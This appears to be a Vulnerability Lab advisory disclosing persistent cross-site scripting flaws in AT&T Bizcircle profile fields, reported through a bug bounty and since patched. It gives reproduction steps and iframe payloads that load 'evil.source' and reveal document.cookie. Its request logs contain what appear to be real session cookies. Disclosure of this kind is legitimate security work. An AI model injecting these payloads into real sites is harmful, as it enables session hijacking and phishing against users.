AT&T Bizcircle Cross Site Scripting

`Document Title:  
===============  
AT&T Bizcircle - Persistent Profile Cross Site Scripting Vulnerabilities  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2108  
  
AT&T Reference ID: 1502971499862  
  
Vulnerability Magazine:  
https://www.vulnerability-db.com/?q=articles/2018/07/05/att-corporation-lab-uncovers-new-details-about-bizcircle-vulnerabilities  
  
  
Release Date:  
=============  
2018-07-05  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2108  
  
  
Common Vulnerability Scoring System:  
====================================  
4.6  
  
  
Vulnerability Class:  
====================  
Cross Site Scripting - Persistent  
  
  
Current Estimated Price:  
========================  
1.000a! - 2.000a!  
  
  
Product & Service Introduction:  
===============================  
AT&T Inc. is an American multinational conglomerate holding company  
headquartered at Whitacre Tower in downtown Dallas, Texas.  
AT&T is the world's largest telecommunications company. AT&T is also the  
second largest provider of mobile telephone services  
and the largest provider of fixed telephone services in the United  
States. The company provides broadband subscription  
television services through Uverse Tv and DirecTV satellite television.  
Combined with AT&T's legacy U-verse service, this  
also makes AT&T the largest paid television operator. AT&T is the  
second-largest company in Texas, behind ExxonMobil. AT&T is  
the 11th largest company in the world. AT&T is the largest  
telecommunications company in the world by revenue. As of 2017, it  
is also the 21st-largest mobile telecom operator in the world, with  
138.8 million mobile customers. AT&T was ranked at #4 on  
the 2017 rankings of the world's most valuable brands published by Brand  
Finance. Since 2012, AT&T has invested more in the  
United States than any other public company.  
  
(Copy of the Homepage: https://en.wikipedia.org/wiki/AT%26T )  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered multiple  
persistent cross site vulnerabilities in the AT&T Bizcircle online  
service web-application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2017-08-16: Researcher Notification & Coordination (Benjamin Kunz Mejri)  
2017-08-17: Vendor Notification (AT&T Security Department)  
2017-08-25: Vendor Response/Feedback (AT&T Security Department)  
2017-11-10: Vendor Fix/Patch (AT&T Service Developer Team)  
2018-02-10: Security Acknowledgements (AT&T Security Department)  
2018-07-05: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
AT&T Inc  
Product: BizCircle - Online Service (Web-Application) 2017 Q3 - Q4  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Authentication Type:  
====================  
Restricted authentication (user/moderator) - User privileges  
  
  
User Interaction:  
=================  
Low User Interaction  
  
  
Disclosure Type:  
================  
Bug Bounty Program  
  
  
Technical Details & Description:  
================================  
An input validation issue and multiple cross site vulnerabilities has  
been discovered in the official AT&T Bizcircle online service  
web-application.  
The persistent cross site issue allows remote attackers to inject own  
malicious script codes with persistent attack vector to compromise  
the frontend or backend of the affected web-application.  
  
The vulnerabilities are located in the `/members/att1759500603/profile/`  
section of the content management system. Attackers are able to inject  
own malicious script code to the `firstname, lastname, name & groups`  
parameters of the `profile` section on update. An attacker could register  
and then change the firstname and lastname or shared group to a payload  
that is insecure saved into the database management system. The injected  
payload provokes a persistent execution of the injected code in the  
backend or frontend. Session hijacking, persistent phishing and  
backend/frontend exploitation is possible.  
  
The security risk of the persistent xss vulnerabilities are estimated as  
medium with a cvss (common vulnerability scoring system) count of 4.6.  
Exploitation of the persistent web vulnerability requires a low  
privileged web-application user account and only low user interaction.  
Successful exploitation of the vulnerability results in persistent  
phishing, session hijacking, persistent external redirect  
to malicious sources and client-side manipulation of affected or  
connected web module context.  
  
Vulnerable Parameter(s):  
[+] firstname  
[+] lastname  
[+] name  
[+] groups  
  
Affected Section(s):  
[+] Frontend  
[+] Backend  
  
  
Proof of Concept (PoC):  
=======================  
The vulnerabilities can be exploited by remote attackers with low  
privileged web-application user account and low user interaction.  
For security demonstration or to reproduce the vulnerability follow the  
instruction and information below to continue.  
  
  
Manual steps to reproduce ...  
1. Register to the att bizcirlce web-application by usage of the  
register function  
2. Login to your account and open the profile section  
Note: Start a http session tamper in the browser to preview or record  
3. Include the payload to the vulnerable marked input fields (firstname,  
lastname, name & groups)  
4. Save the profile entries by submit of the post method request  
5. The execute occurs in the frontend profile section (local), the  
groups (shared) and the backend (lists mods/admins the registered user data)  
6. Successful reproduce of the persistent cross site vulnerability!  
  
  
Member ID: att1759500603  
  
  
PoC: Payload  
"><iframe>%20%20"><iframe src=evil.source onload=alert(document.cookie)>%20  
"><iframe>%20%20"><iframe src=evil.source onload=alert(document.domain)>%20  
  
  
PoC: Exploitation (Demo)  
https://bizcircle.att.com/members/att1759500603/profile/edit/group/1/[Payload  
Execution]  
  
  
--- PoC Session Logs ---  
Status: 200[OK]  
GET https://bizcircle.att.com/members/att1759500603/profile/edit/group/1/  
Mime Type[text/html]  
Request Header:  
Host[bizcircle.att.com]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0)  
Gecko/20100101 Firefox/54.0]  
  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Referer[https://bizcircle.att.com/members/att1759500603/]  
Cookie[PHPSESSID=l18mlg2dueco0q3h6kb131eub7;  
AMCV_55633F7A534535110A490D44%40AdobeOrg=209651070  
1%7CMCIDTS%7C17396%7CMCMID%7C26100431646396483062447545331633367848%7CMCAAMLH-1503573649%7C6%7CMCAAMB-  
1503573649%7CNRX38WO0n5BH8Th-nqAG_A%7CMCOPTOUT-1502976049s%7CNONE%7CMCAID%7CNONE%7CMCSYNCSOP%7C411-174  
03%7CvVersion%7C2.0.0;  
mbox=session#1502968849133-685067#1502970919|PC#1502968849133-685067.26_19#1504178659;  
  
AMCVS_55633F7A534535110A490D44%40AdobeOrg=1;  
_ga=GA1.2.774089946.1502968850; _gid=GA1.2.1647846308.1502968850;  
s_cc=true; bp-activity-oldestpage=1;  
aam_uuid=26195646366965627042419912699465776394; Successful  
Registration=true;  
TLTSID=DFFB796CF9727EB3DAD892F1CE4732DB;  
fsr.s={"v2":1,"v1":1,"rid":"d036702-53861434-b5e4-2910-b41f2",  
"cp":{"ufix":"no","ug":"n","platform":"mSite","WLS_TSR":"no"},"to":4.7,"pv":6,"f":1502968971713};  
wordpress_logged_in_cae26c4a20b3aee9c355ac89848c9a6c=att1759500603%7C1503141687%7C5r0gGlSD0k4TLZ8DdczeF  
GgpYJrrbeqwy9p8pvslaMr%7Cab6915c095b9e9a27373469d6f4cae49510879dab933281d16868d1cf4bd524a;  
fsr.a=1502969052593; _gat=1]  
Connection[keep-alive]  
Cache-Control[max-age=0]  
Response Header:  
Server[Apache]  
X-Frame-Options[SAMEORIGIN]  
Cache-Control[no-cache, must-revalidate, max-age=0]  
X-UA-Compatible[IE=edge]  
Content-Type[text/html; charset=UTF-8]  
Vary[Accept-Encoding]  
Content-Encoding[gzip]  
Content-Length[19399]  
Connection[keep-alive]  
  
Status: 200[OK]  
GET  
https://bizcircle.att.com/members/att1759500603/profile/edit/group/1/evil.source/  
  
Mime Type[text/html]  
Request Header:  
Host[bizcircle.att.com]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0)  
Gecko/20100101 Firefox/54.0]  
  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
  
Referer[https://bizcircle.att.com/members/att1759500603/profile/edit/group/1/]  
Cookie[PHPSESSID=l18mlg2dueco0q3h6kb131eub7;  
AMCV_55633F7A534535110A490D44%40AdobeOrg=2096510701  
%7CMCIDTS%7C17396%7CMCMID%7C26100431646396483062447545331633367848%7CMCAAMLH-1503573649%7C6%7CMCAAMB-150  
3573649%7CNRX38WO0n5BH8Th-nqAG_A%7CMCOPTOUT-1502976049s%7CNONE%7CMCAID%7CNONE%7CMCSYNCSOP%7C411-17403%7  
CvVersion%7C2.0.0;  
mbox=session#1502968849133-685067#1502970967|PC#1502968849133-685067.26_19#1504178707;  
  
AMCVS_55633F7A534535110A490D44%40AdobeOrg=1;  
_ga=GA1.2.774089946.1502968850; _gid=GA1.2.1647846308.1502968850;  
s_cc=true; bp-activity-oldestpage=1;  
aam_uuid=26195646366965627042419912699465776394;  
Successful Registration=true; TLTSID=DFFB796CF9727EB3DAD892F1CE4732DB;  
fsr.s={"v2":1,"v1":1,"rid":"d036702-53861434-b5e4-2910-b41f2",  
"cp":{"ufix":"no","ug":"n","platform":"mSite","WLS_TSR":"no"},"to":4.5,"pv":6,"f":1502969105924};  
wordpress_logged_in_cae26c4a20b3aee9c355ac89848c9a6c=att1759500603%7C1503141687%7C5r0gGlSD0k4TLZ8Ddc  
zeFGgpYJrrbeqwy9p8pvslaMr%7Cab6915c095b9e9a27373469d6f4cae49510879dab933281d16868d1cf4bd524a;  
_gat=1]  
Connection[keep-alive]  
Response Header:  
Server[Apache]  
X-Frame-Options[SAMEORIGIN]  
Cache-Control[no-cache, must-revalidate, max-age=0]  
X-UA-Compatible[IE=edge]  
Content-Type[text/html; charset=UTF-8]  
Vary[Accept-Encoding]  
Content-Encoding[gzip]  
Content-Length[19404]  
Connection[keep-alive]  
  
Status: 200[OK]  
GET  
https://bizcircle.att.com/members/att1759500603/profile/edit/group/1/evil.source/  
  
Mime Type[text/html]  
Request Header:  
Host[bizcircle.att.com]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0)  
Gecko/20100101 Firefox/54.0]  
  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
  
Referer[https://bizcircle.att.com/members/att1759500603/profile/edit/group/1/]  
Cookie[PHPSESSID=l18mlg2dueco0q3h6kb131eub7;  
AMCV_55633F7A534535110A490D44%40AdobeOrg=2096510701%7CM  
CIDTS%7C17396%7CMCMID%7C26100431646396483062447545331633367848%7CMCAAMLH-1503573649%7C6%7CMCAAMB-1503573649  
%7CNRX38WO0n5BH8Th-nqAG_A%7CMCOPTOUT-1502976049s%7CNONE%7CMCAID%7CNONE%7CMCSYNCSOP%7C411-17403%7CvVersion%7C2.0.0;  
  
mbox=session#1502968849133-685067#1502970967|PC#1502968849133-685067.26_19#1504178707;  
AMCVS_55633F7A534535110  
A490D44%40AdobeOrg=1; _ga=GA1.2.774089946.1502968850;  
_gid=GA1.2.1647846308.1502968850;  
s_cc=true; bp-activity-oldestpage=1;  
aam_uuid=26195646366965627042419912699465776394;  
Successful Registration=true; TLTSID=DFFB796CF9727EB3DAD892F1CE4732DB;  
fsr.s={"v2":1,"v1":1,"rid":"d036702-53861434-b5e4-2910-b41f2",  
"cp":{"ufix":"no","ug":"n","platform":"mSite","WLS_TSR":"no"},"to":4.5,"pv":6,"f":1502969105924};  
wordpress_logged_in_cae26c4a20b3aee9c355ac89848c9a6c=att1759500603%7C1503141687%7C5r0gGlSD0k4TLZ8DdczeF  
GgpYJrrbeqwy9p8pvslaMr%7Cab6915c095b9e9a27373469d6f4cae49510879dab933281d16868d1cf4bd524a;  
_gat=1]  
Connection[keep-alive]  
Response Header:  
Server[Apache]  
X-Frame-Options[SAMEORIGIN]  
Cache-Control[no-cache, must-revalidate, max-age=0]  
X-UA-Compatible[IE=edge]  
Content-Type[text/html; charset=UTF-8]  
Vary[Accept-Encoding]  
Content-Encoding[gzip]  
Content-Length[19404]  
Connection[keep-alive]  
  
  
Reference(s):  
https://bizcircle.att.com/  
https://bizcircle.att.com/members/  
https://bizcircle.att.com/members/att1759500603/  
https://bizcircle.att.com/members/att1759500603/profile/  
https://bizcircle.att.com/members/att1759500603/profile/edit/  
https://bizcircle.att.com/members/att1759500603/profile/edit/group/  
https://bizcircle.att.com/members/att1759500603/profile/edit/group/1/  
  
  
Solution - Fix & Patch:  
=======================  
The vulnerability has been patched by the at&t developer team of the biz  
circle team. The issue was part of the official bug bounty program.  
  
  
Security Risk:  
==============  
The security risk of the persistent cross site vulnerabilities in the  
web-application are estimated as medium (CVSS 4.6).  
  
  
Credits & Authors:  
==================  
Benjamin K.M. [Vulnerability Laboratory Core Research Team] -  
https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without  
any warranty. Vulnerability Lab disclaims all warranties, either  
expressed or  
implied, including the warranties of merchantability and capability for  
a particular purpose. Vulnerability-Lab or its suppliers are not liable  
in any  
case of damage, including direct, indirect, incidental, consequential  
loss of business profits or special damages, even if Vulnerability Labs  
or its  
suppliers have been advised of the possibility of such damages. Some  
states do not allow the exclusion or limitation of liability mainly for  
incidental  
or consequential damages so the foregoing limitation may not apply. We  
do not approve or encourage anybody to break any licenses, policies, deface  
websites, hack into databases or trade with stolen data. We have no need  
for criminal activities or membership requests. We do not publish  
advisories  
or vulnerabilities of religious-, militant- and racist-  
hacker/analyst/researcher groups or individuals. We do not publish trade  
researcher mails,  
phone numbers, conversations or anything else to journalists,  
investigative authorities or private individuals.  
  
Domains: www.vulnerability-lab.com - www.vulnerability-db.com -  
www.evolution-sec.com  
Programs: vulnerability-lab.com/submit.php -  
vulnerability-lab.com/list-of-bug-bounty-programs.php -  
vulnerability-lab.com/register.php  
Feeds: vulnerability-lab.com/rss/rss.php -  
vulnerability-lab.com/rss/rss_upcoming.php -  
vulnerability-lab.com/rss/rss_news.php  
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab -  
youtube.com/user/vulnerability0lab  
  
Any modified copy or reproduction, including partially usages, of this  
file, resources or information requires authorization from Vulnerability  
Laboratory.  
Permission to electronically redistribute this alert in its unmodified  
form is granted. All other rights, including the use of other media, are  
reserved by  
Vulnerability Lab Research Team or its suppliers. All pictures, texts,  
advisories, source code, videos and other information on this website is  
trademark  
of vulnerability-lab team & the specific authors or managers. To record,  
list, modify, use or edit our material contact (admin@) to get an ask  
permission.  
  
--   
VULNERABILITY LABORATORY - RESEARCH TEAM  
SERVICE: www.vulnerability-lab.com  
`